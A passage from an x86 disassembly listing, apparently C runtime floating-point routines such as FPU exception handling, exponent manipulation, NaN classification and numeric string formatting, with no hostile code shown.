		and	dword ptr [esi], 0FFFFFFDFh


loc_421B96:				; CODE XREF: sub_42194C+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_421BCA
		dec	ecx
		jz	short loc_421BBE
		dec	ecx
		jz	short loc_421BB4
		dec	ecx
		jnz	short loc_421BCC
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BB4:				; CODE XREF: sub_42194C+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421BC6
; ---------------------------------------------------------------------------


loc_421BBE:				; CODE XREF: sub_42194C+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421BC6:				; CODE XREF: sub_42194C+270j
		mov	[esi], ecx
		jmp	short loc_421BCC
; ---------------------------------------------------------------------------


loc_421BCA:				; CODE XREF: sub_42194C+257j
		and	[esi], edx


loc_421BCC:				; CODE XREF: sub_42194C+260j
					; sub_42194C+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_421BEC
		dec	ecx
		jz	short loc_421BE3
		dec	ecx
		jnz	short loc_421BF5
		and	[esi], edx
		jmp	short loc_421BF5
; ---------------------------------------------------------------------------


loc_421BE3:				; CODE XREF: sub_42194C+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421BF3
; ---------------------------------------------------------------------------


loc_421BEC:				; CODE XREF: sub_42194C+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421BF3:				; CODE XREF: sub_42194C+29Ej
		mov	[esi], ecx


loc_421BF5:				; CODE XREF: sub_42194C+291j
					; sub_42194C+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42194C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421BFF	proc near		; CODE XREF: sub_4218B4+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_421C2A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_421C2A
		push	ebx
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C2A:				; CODE XREF: sub_421BFF+15j
					; sub_421BFF+1Aj
		test	al, 4
		jz	short loc_421C44
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_421C44
		push	4
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421C44:				; CODE XREF: sub_421BFF+2Dj
					; sub_421BFF+33j
		test	al, bl
		jz	loc_421D1E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_421D1E
		push	8
		call	sub_4220AC
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421CF6
		cmp	ecx, 400h
		jz	short loc_421CCE
		cmp	ecx, 800h
		jz	short loc_421CA6
		cmp	ecx, eax
		jnz	loc_421D16
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D400
		fnstsw	ax
		sahf
		ja	short loc_421C9E
		fchs


loc_421C9E:				; CODE XREF: sub_421BFF+9Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CA6:				; CODE XREF: sub_421BFF+7Dj
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CBE
		fld	dbl_43D3F0
		jmp	short loc_421CC6
; ---------------------------------------------------------------------------


loc_421CBE:				; CODE XREF: sub_421BFF+B5j
		fld	dbl_43D400
		fchs


loc_421CC6:				; CODE XREF: sub_421BFF+BDj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CCE:				; CODE XREF: sub_421BFF+75j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jbe	short loc_421CE6
		fld	dbl_43D400
		jmp	short loc_421CEE
; ---------------------------------------------------------------------------


loc_421CE6:				; CODE XREF: sub_421BFF+DDj
		fld	dbl_43D3F0
		fchs


loc_421CEE:				; CODE XREF: sub_421BFF+E5j
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		jmp	short loc_421D14
; ---------------------------------------------------------------------------


loc_421CF6:				; CODE XREF: sub_421BFF+69j
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427860
		fld	dbl_43D3F0
		fnstsw	ax
		sahf
		ja	short loc_421D0E
		fchs


loc_421D0E:				; CODE XREF: sub_421BFF+10Bj
		fstp	[ebp+var_C]
		fld	[ebp+var_C]


loc_421D14:				; CODE XREF: sub_421BFF+A5j
					; sub_421BFF+CDj ...
		fstp	qword ptr [ecx]


loc_421D16:				; CODE XREF: sub_421BFF+81j
		and	edi, 0FFFFFFFEh
		jmp	loc_421DF4
; ---------------------------------------------------------------------------


loc_421D1E:				; CODE XREF: sub_421BFF+47j
					; sub_421BFF+51j
		test	al, 2
		jz	loc_421DF4
		test	byte ptr [ebp+arg_8], 10h
		jz	loc_421DF4
		push	esi
		xor	esi, esi
		test	al, 10h
		jz	short loc_421D39
		mov	esi, ebx


loc_421D39:				; CODE XREF: sub_421BFF+136j
		mov	eax, [ebp+arg_4]
		fld	qword ptr [eax]
		fstp	[ebp+var_C]
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jz	loc_421DE2
		fld	[ebp+var_C]
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		call	sub_421FAB
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		fstp	[ebp+var_C]
		lea	ecx, [eax-600h]
		cmp	ecx, 0FFFFFBCEh
		jge	short loc_421D84
		fldz
		mov	esi, ebx
		fstp	[ebp+var_C]
		jmp	short loc_421DD8
; ---------------------------------------------------------------------------


loc_421D84:				; CODE XREF: sub_421BFF+17Aj
		fld	[ebp+var_C]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jnb	short loc_421D96
		mov	edx, ebx
		jmp	short loc_421D98
; ---------------------------------------------------------------------------


loc_421D96:				; CODE XREF: sub_421BFF+191j
		xor	edx, edx


loc_421D98:				; CODE XREF: sub_421BFF+195j
		mov	al, byte ptr [ebp+var_C+6]
		and	eax, 0Fh
		or	al, 10h
		mov	word ptr [ebp+var_C+6],	ax
		mov	eax, 0FFFFFC03h
		cmp	ecx, eax
		jge	short loc_421DCC
		sub	eax, ecx


loc_421DAF:				; CODE XREF: sub_421BFF+1CBj
		test	byte ptr [ebp+var_C], bl
		jz	short loc_421DBA
		test	esi, esi
		jnz	short loc_421DBA
		mov	esi, ebx


loc_421DBA:				; CODE XREF: sub_421BFF+1B3j
					; sub_421BFF+1B7j
		shr	dword ptr [ebp+var_C], 1
		test	byte ptr [ebp+var_C+4],	bl
		jz	short loc_421DC6
		or	byte ptr [ebp+var_C+3],	80h


loc_421DC6:				; CODE XREF: sub_421BFF+1C1j
		shr	dword ptr [ebp+var_C+4], 1
		dec	eax
		jnz	short loc_421DAF


loc_421DCC:				; CODE XREF: sub_421BFF+1ACj
		test	edx, edx
		jz	short loc_421DD8
		fld	[ebp+var_C]
		fchs
		fstp	[ebp+var_C]


loc_421DD8:				; CODE XREF: sub_421BFF+183j
					; sub_421BFF+1CFj
		fld	[ebp+var_C]
		mov	eax, [ebp+arg_4]
		fstp	qword ptr [eax]
		jmp	short loc_421DE4
; ---------------------------------------------------------------------------


loc_421DE2:				; CODE XREF: sub_421BFF+14Ej
		mov	esi, ebx


loc_421DE4:				; CODE XREF: sub_421BFF+1E1j
		test	esi, esi
		pop	esi
		jz	short loc_421DF1
		push	10h
		call	sub_4220AC
		pop	ecx


loc_421DF1:				; CODE XREF: sub_421BFF+1E8j
		and	edi, 0FFFFFFFDh


loc_421DF4:				; CODE XREF: sub_421BFF+26j
					; sub_421BFF+40j ...
		test	byte ptr [ebp+arg_0], 10h
		jz	short loc_421E0B
		test	byte ptr [ebp+arg_8], 20h
		jz	short loc_421E0B
		push	20h
		call	sub_4220AC
		pop	ecx
		and	edi, 0FFFFFFEFh


loc_421E0B:				; CODE XREF: sub_421BFF+1F9j
					; sub_421BFF+1FFj
		xor	eax, eax
		test	edi, edi
		pop	edi
		pop	ebx
		setz	al
		leave
		retn
sub_421BFF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)

sub_421E16	proc near		; CODE XREF: sub_421861+2Bp
					; sub_4218B4+72p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= qword	ptr  20h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	[ebp+arg_4]
		call	sub_421EC4
		test	eax, eax
		pop	ecx
		mov	[ebp+var_1C], eax
		jz	short loc_421E81
		mov	eax, [ebp+arg_8]
		push	esi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_10]
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_14]
		push	0FFFFh
		push	[ebp+arg_20]
		mov	[ebp+var_C], eax
		mov	eax, dword ptr [ebp+arg_18]
		mov	[ebp+var_20], esi
		mov	dword ptr [ebp+var_8], eax
		mov	eax, dword ptr [ebp+arg_18+4]
		mov	dword ptr [ebp+var_8+4], eax
		call	sub_422089
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_42482D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421E7B
		push	esi
		call	sub_421E9E
		pop	ecx


loc_421E7B:				; CODE XREF: sub_421E16+5Cj
		fld	[ebp+var_8]
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_421E81:				; CODE XREF: sub_421E16+14j
		push	0FFFFh
		push	[ebp+arg_20]
		call	sub_422089
		push	[ebp+arg_0]
		call	sub_421E9E
		fld	[ebp+arg_18]
		add	esp, 0Ch
		leave
		retn
sub_421E16	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E9E	proc near		; CODE XREF: sub_4218B4+7Dp
					; sub_421E16+5Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 1
		jz	short loc_421EB9
		jle	short locret_421EC3
		cmp	eax, 3
		jg	short locret_421EC3
		mov	dword_4DBDEC, 22h
		retn
; ---------------------------------------------------------------------------


loc_421EB9:				; CODE XREF: sub_421E9E+7j
		mov	dword_4DBDEC, 21h

locret_421EC3:				; CODE XREF: sub_421E9E+9j
					; sub_421E9E+Ej
		retn
sub_421E9E	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EC4	proc near		; CODE XREF: sub_421E16+9p

arg_0		= dword	ptr  4

		xor	ecx, ecx
		mov	eax, offset dword_43D318


loc_421ECB:				; CODE XREF: sub_421EC4+18j
		mov	edx, [eax]
		cmp	edx, [esp+arg_0]
		jz	short loc_421EE1
		add	eax, 8
		inc	ecx
		cmp	eax, offset dbl_43D3F0
		jl	short loc_421ECB
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_421EE1:				; CODE XREF: sub_421EC4+Dj
		mov	eax, off_43D31C[ecx*8]
		retn
sub_421EC4	endp


; =============== S U B	R O U T	I N E =======================================



sub_421EE9	proc near		; CODE XREF: sub_4218B4+41p

arg_0		= byte ptr  4

		mov	al, [esp+arg_0]
		test	al, 20h
		jz	short loc_421EF5
		push	5
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EF5:				; CODE XREF: sub_421EE9+6j
		test	al, 8
		jz	short loc_421EFD
		push	1
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421EFD:				; CODE XREF: sub_421EE9+Ej
		test	al, 4
		jz	short loc_421F05
		push	2
		jmp	short loc_421F0B
; ---------------------------------------------------------------------------


loc_421F05:				; CODE XREF: sub_421EE9+16j
		test	al, 1
		jz	short loc_421F0D
		push	3


loc_421F0B:				; CODE XREF: sub_421EE9+Aj
					; sub_421EE9+12j ...
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_421F0D:				; CODE XREF: sub_421EE9+1Ej
		movzx	eax, al
		and	eax, 2
		shl	eax, 1
		retn
sub_421EE9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F16(double)

sub_421F16	proc near		; CODE XREF: sub_41D055:loc_41D0DBp
					; sub_41D19B:loc_41D221p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		frndint
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		leave
		retn
sub_421F16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421F28(double,int)

sub_421F28	proc near		; CODE XREF: sub_421FAB+82p
					; sub_421FAB+98p

var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+0Eh]
		fld	[ebp+arg_0]
		add	eax, 3FEh
		and	cx, 800Fh
		fstp	[ebp+var_8]
		shl	eax, 4
		or	eax, ecx
		mov	word ptr [ebp+var_8+6],	ax
		fld	[ebp+var_8]
		leave
		retn
sub_421F28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421F51	proc near		; CODE XREF: sub_41D055+31p
					; sub_41D19B+31p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		xor	edx, edx
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_421F68
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	1
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F68:				; CODE XREF: sub_421F51+Cj
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_421F7A
		cmp	[ebp+arg_0], edx
		jnz	short loc_421F7A
		push	2
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F7A:				; CODE XREF: sub_421F51+11j
					; sub_421F51+1Ej ...
		mov	ecx, [ebp+arg_4+2]
		mov	eax, 7FF8h
		and	ecx, eax
		cmp	cx, ax
		jnz	short loc_421F8D
		push	3
		jmp	short loc_421FA4
; ---------------------------------------------------------------------------


loc_421F8D:				; CODE XREF: sub_421F51+36j
		cmp	cx, 7FF0h
		jnz	short loc_421FA7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421FA2
		cmp	[ebp+arg_0], edx
		jz	short loc_421FA7


loc_421FA2:				; CODE XREF: sub_421F51+4Aj
		push	4


loc_421FA4:				; CODE XREF: sub_421F51+15j
					; sub_421F51+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_421FA7:				; CODE XREF: sub_421F51+41j
					; sub_421F51+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421F51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421FAB(double,int)

sub_421FAB	proc near		; CODE XREF: sub_421BFF+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421FCB
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_422061
; ---------------------------------------------------------------------------


loc_421FCB:				; CODE XREF: sub_421FAB+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42203A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421FE3
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42203A


loc_421FE3:				; CODE XREF: sub_421FAB+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421FFB
		push	1
		pop	eax
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_421FFB:				; CODE XREF: sub_421FAB+49j
		xor	eax, eax


loc_421FFD:				; CODE XREF: sub_421FAB+4Ej
					; sub_421FAB+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_422016
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_422010
		or	dword ptr [ebp+arg_0+4], 1


loc_422010:				; CODE XREF: sub_421FAB+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------


loc_422016:				; CODE XREF: sub_421FAB+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_422024
		or	byte ptr [ebp+arg_0+7],	80h


loc_422024:				; CODE XREF: sub_421FAB+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_422061
; ---------------------------------------------------------------------------


loc_42203A:				; CODE XREF: sub_421FAB+28j
					; sub_421FAB+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh


loc_422061:				; CODE XREF: sub_421FAB+1Bj
					; sub_421FAB+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421FAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42206C	proc near		; CODE XREF: sub_42194C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42206C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42207A	proc near		; CODE XREF: sub_42194C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42207A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422089	proc near		; CODE XREF: sub_41D055+13p
					; sub_41D055+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_422089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220AC	proc near		; CODE XREF: sub_421BFF+1Dp
					; sub_421BFF+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_4220C3
		fld	tbyte_43D418
		fistp	[ebp+arg_0]
		wait


loc_4220C3:				; CODE XREF: sub_4220AC+Bj
		test	cl, 8
		jz	short loc_4220D8
		fstsw	ax
		fld	tbyte_43D418
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_4220D8:				; CODE XREF: sub_4220AC+1Aj
		test	cl, 10h
		jz	short loc_4220E7
		fld	tbyte_43D424
		fstp	[ebp+var_8]
		wait


loc_4220E7:				; CODE XREF: sub_4220AC+2Fj
		test	cl, 4
		jz	short loc_4220F5
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_4220F5:				; CODE XREF: sub_4220AC+3Ej
		test	cl, 20h
		jz	short locret_422100
		fldpi
		fstp	[ebp+var_8]
		wait

locret_422100:				; CODE XREF: sub_4220AC+4Cj
		leave
		retn
sub_4220AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_422102	proc near		; CODE XREF: sub_41D124+Fp
		push	30000h
		push	10000h
		call	sub_424865
		pop	ecx
		pop	ecx
		retn
sub_422102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422114	proc near		; CODE XREF: sub_422152:loc_422176j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427870
		fstp	[ebp+var_8]
		fld	dbl_427868
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4276F8
		fnstsw	ax
		sahf
		jbe	short loc_42214E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_42214E:				; CODE XREF: sub_422114+33j
		xor	eax, eax
		leave
		retn
sub_422114	endp


; =============== S U B	R O U T	I N E =======================================



sub_422152	proc near		; CODE XREF: sub_41D124+5p
		push	offset aKernel32 ; "KERNEL32"
		call	dword_4270A4	; GetModuleHandleA
		test	eax, eax
		jz	short loc_422176
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		call	dword_4270C4	; GetProcAddress
		test	eax, eax
		jz	short loc_422176
		push	0
		call	eax ; sub_41D124
		retn
; ---------------------------------------------------------------------------


loc_422176:				; CODE XREF: sub_422152+Dj
					; sub_422152+1Dj
		jmp	sub_422114
sub_422152	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42217B	proc near		; CODE XREF: sub_41FF3F+3CBp
					; DATA XREF: sub_41D13C+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DFEC
		cmp	eax, 65h
		pop	ecx
		jz	short loc_4221BB


loc_42218F:				; CODE XREF: sub_42217B+3Ej
		inc	esi
		cmp	dword_43D094, 1
		jle	short loc_4221A8
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4221B7
; ---------------------------------------------------------------------------


loc_4221A8:				; CODE XREF: sub_42217B+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43CE88
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_4221B7:				; CODE XREF: sub_42217B+2Bj
		test	eax, eax
		jnz	short loc_42218F


loc_4221BB:				; CODE XREF: sub_42217B+12j
		mov	cl, byte_43D098
		mov	al, [esi]
		mov	[esi], cl
		inc	esi


loc_4221C6:				; CODE XREF: sub_42217B+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_4221C6
		pop	esi
		retn
sub_42217B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4221D5	proc near		; CODE XREF: sub_41FF3F+3E2p
					; DATA XREF: sub_41D13C+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43D098
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4221F1


loc_4221E5:				; CODE XREF: sub_4221D5+1Aj
		cmp	cl, dl
		jz	short loc_4221F1
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4221E5


loc_4221F1:				; CODE XREF: sub_4221D5+Ej
					; sub_4221D5+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_422222


loc_4221F8:				; CODE XREF: sub_4221D5+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42220B
		cmp	cl, 65h
		jz	short loc_42220B
		cmp	cl, 45h
		jz	short loc_42220B
		inc	eax
		jmp	short loc_4221F8
; ---------------------------------------------------------------------------


loc_42220B:				; CODE XREF: sub_4221D5+27j
					; sub_4221D5+2Cj ...
		mov	ecx, eax


loc_42220D:				; CODE XREF: sub_4221D5+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42220D
		cmp	[eax], dl
		jnz	short loc_422218
		dec	eax


loc_422218:				; CODE XREF: sub_4221D5+40j
					; sub_4221D5+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_422218

locret_422222:				; CODE XREF: sub_4221D5+21j
		retn
sub_4221D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_422223	proc near		; DATA XREF: sub_41D13C+28o
					; .packed:off_43D440o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jb	short loc_422238
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_422238:				; CODE XREF: sub_422223+Fj
		xor	eax, eax
		retn
sub_422223	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42223B	proc near		; CODE XREF: sub_420DB0+430p
					; DATA XREF: sub_41D13C+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_422264
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424D28
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422264:				; CODE XREF: sub_42223B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424D55
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42223B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422279	proc near		; CODE XREF: sub_4224F6+17p
					; sub_422540+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DBE6C, 0
		push	ebx
		push	esi
		jz	short loc_4222AE
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DBE68
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_422591
		pop	ecx
		pop	ecx
		jmp	short loc_4222E6
; ---------------------------------------------------------------------------


loc_4222AE:				; CODE XREF: sub_422279+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424DF9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424D82
		add	esp, 14h


loc_4222E6:				; CODE XREF: sub_422279+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4222F2
		mov	byte ptr [eax],	2Dh
		inc	eax


loc_4222F2:				; CODE XREF: sub_422279+73j
		test	ebx, ebx
		jle	short loc_42230A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43D098
		mov	eax, edi
		pop	edi
		mov	[eax], cl


loc_42230A:				; CODE XREF: sub_422279+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DBE6C, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C890
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
